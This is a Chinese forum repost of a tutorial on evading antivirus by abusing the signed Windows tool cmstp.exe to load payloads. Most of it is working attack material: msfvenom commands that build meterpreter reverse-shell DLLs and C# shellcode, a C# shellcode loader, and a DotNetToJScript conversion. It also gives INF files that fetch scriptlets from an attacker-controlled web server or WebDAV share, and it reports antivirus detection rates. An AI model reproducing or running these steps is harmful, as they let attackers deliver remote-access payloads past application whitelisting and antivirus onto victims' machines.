安全矩阵

 找回密码
 立即注册
搜索
查看: 2341|回复: 0

远控免杀专题(40)-白名单Cmstp.exe执行payload(VT查杀率为21-57)

[复制链接]

4

主题

4

帖子

34

积分

新手上路

Rank: 1

积分
34
发表于 2020-3-8 01:17:49 | 显示全部楼层 |阅读模式
转载自微信公众号:Tide安全团队    作者:重剑无锋
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀能力一览表
几点说明:
1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。




一、Cmstp.exe介绍
Microsoft连接管理器配置文件安装程序(CMSTP.exe)是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe接受安装信息文件(INF)作为参数,并安装用于远程访问连接的服务配置文件。
攻击者可能会使用CMSTP.exe调用恶意的INF文件。与Regsvr32 相似,CMSTP.exe可能被利用从远程服务器加载和执行DLL或COM脚本(SCT)。由于CMSTP.exe是合法的,经过签名的Microsoft应用程序,因此该执行过程也可以绕过AppLocker和其他白名单防御。
在windows中文件路径

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f dll -o test.dll
复制代码
配置inf文件,其中字段RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。完整代码如下。
  1. [version]
  2. Signature=$chicago$
  3. AdvancedINF=2.5
  4. [DefaultInstall_SingleUser]
  5. RegisterOCXs=RegisterOCXSection
  6. [RegisterOCXSection]
  7. C:\test\test.dll
  8. [Strings]
  9. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  10. ServiceName="tidesec"
  11. ShortSvcName="tidesec"
复制代码
在msf中监听
在测试机器执行
  1. cmstp.exe /ni /s cmstp.inf
复制代码
msf中可正常上线
打开杀软测试,发现360会对行为预警。关闭360后火绒并没有反应。
因为dll文件是msf原生态的肯定被杀很严重,所以这里测dll的免杀就没什么意义了。
2.2 直接执行cmd命令
还可以将上面代码中的RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如:
  1. [version]
  2. Signature=$chicago$
  3. AdvancedINF=2.5
  4. [DefaultInstall_SingleUser]
  5. RegisterOCXs=RegisterOCXSection
  6. RunPreSetupCommands=RunPreSetupCommandsSection
  7. [RunPreSetupCommandsSection]
  8. c:\windows\system32\calc.exe
  9. [Strings]
  10. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  11. ServiceName="tidesec"
  12. ShortSvcName="tidesec"
复制代码
执行命令,可触发计算器程序。
  1. cmstp.exe /s ./cmstp.inf
复制代码

2.3 加载执行sct文件
除了DLL文件外,cmstp还能够运行SCT文件。
首先需要生成sct文件,这个和《远控免杀专题(38)-白名单Rundll32.exe执行payload》文章中的“3.1 远程加载SCT文件”基本一致。我这就简单描述一下。
1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x64的,注意这个要和后面rundll32的版本相一致。
  1. msfvenom  -p windows/x64/meterpreter/reverse_tcp -a x64 -f csharp  -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x64.csharp
复制代码
2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。
代码如下,把shell_x64.csharp内容放到相应MsfPayload位置。

  1. using System;
  2. using System.Threading;
  3. using System.Runtime.InteropServices;
  4. namespace MSFWrapper
  5. {
  6.     public class Program
  7.     {
  8.         public Program()
  9.         {
  10.             RunMSF();
  11.         }
  12.         public static void RunMSF()
  13.         {
  14.             byte[] MsfPayload =  {
  15. 0xbb,---shellcode here---0x1e };

  16.             IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
  17.             Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
  18.             CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
  19.             Thread.Sleep(2000);
  20.         }
  21.         public static void Main()
  22.         {
  23.         }
  24.         [DllImport("kernel32.dll")]
  25.         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  26.         [DllImport("kernel32.dll")]
  27.         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  28.     }
  29. }
复制代码

修改一下项目属性,设置启动对象为MSFWrapper,编译生成exe,我这生成的就是默认的ConsoleApp2.exe
3、将exe转换为脚本文件
将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件
  1. DotNetToJScript.exe -m -o=msf_x64.sct -c=MSFWrapper.Program -v 4 -d  ConsoleApp2.exe
复制代码
4、这时需要对sct文件做一些处理,把头部和尾部替换成下面的JScript代码
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.     progid="PoC"
  5.     classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
  6.         <script language="JScript">
  7.                 <![CDATA[
  8.                         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");       
  9.        
  10.                 ]]>
  11. </script>
  12. </registration>
  13. </scriptlet>
复制代码

原始是这样的
替换后为这样的
注意尾部代码也要替换。
4、将msf_x64.sct文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x64.sct
在msf中监听
然后配置inf文件,和上面的类似,只是UnRegisterOCXSection需要包含scriptlet的URL。最终的INF文件需要包含以下内容:
  1. [version]
  2. Signature=$chicago$
  3. AdvancedINF=2.5
  4. [DefaultInstall_SingleUser]
  5. UnRegisterOCXs=UnRegisterOCXSection
  6. [UnRegisterOCXSection]
  7. %11%\scrobj.dll,NI,http://10.211.55.2/msf_x64.sct
  8. [Strings]
  9. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  10. ServiceName="tidesec"
  11. ShortSvcName="tidesec"
复制代码

然后执行
  1. cmstp.exe /s cmstp.inf
复制代码

msf可正常上线
打开杀软进行测试,依旧360行为预警


上面的msf_x64.sct也可以替换成powersct.sct,这样当powershell被禁用的时候,可以作为备选方案。可以从这里下载https://raw.githubusercontent.co ... /tools/powersct.sct。有时候会因为github网络问题执行不成功,可以放在自己服务器上加载。
文件msf_x64.sct在virustotal.com上查杀率为21/57。
2.4 下载并解析远程inf文件
网上提到cmstp还可以加载web服务器远程配置文件,命令如下。
  1. cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
复制代码
不过我在多种系统进行多次尝试都没成功,会提示一个下面的错误。
cmstp加载远程inf应该只能从Webdav服务器加载。
比如cmstp.inf在内网另一台服务器上,路径为\\10.211.55.28\test\cmstp.inf,内如如下。
  1. [version]
  2. Signature=$chicago$
  3. AdvancedINF=2.5

  4. [DefaultInstall_SingleUser]
  5. UnRegisterOCXs=UnRegisterOCXSection

  6. [UnRegisterOCXSection]
  7. %11%\scrobj.dll,NI,http://10.211.55.2/calc64.sct

  8. [Strings]
  9. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  10. ServiceName="Yay"
  11. ShortSvcName="Yay"
复制代码

在10.211.55.2上的calc64.sct内容如下:
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.     progid="PoC"
  5.     classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >        <script language="JScript">
  6.                 <![CDATA[
  7.                            
  8.                         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");       
  9.        
  10.                 ]]>
  11. </script>
  12. </registration>
  13. </scriptlet>
复制代码

执行cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf,可触发计算器。
三、参考资料
使用CMSTP绕过AppLocker的方法介绍:https://4hou.win/wordpress/?p=20341
使用cmstp绕过应用程序白名单:https://www.cnblogs.com/backlion/p/10493914.html
Windows上传并执行恶意代码的N种姿势:https://cloud.tencent.com/developer/article/1141143

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:43 , Processed in 0.013583 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表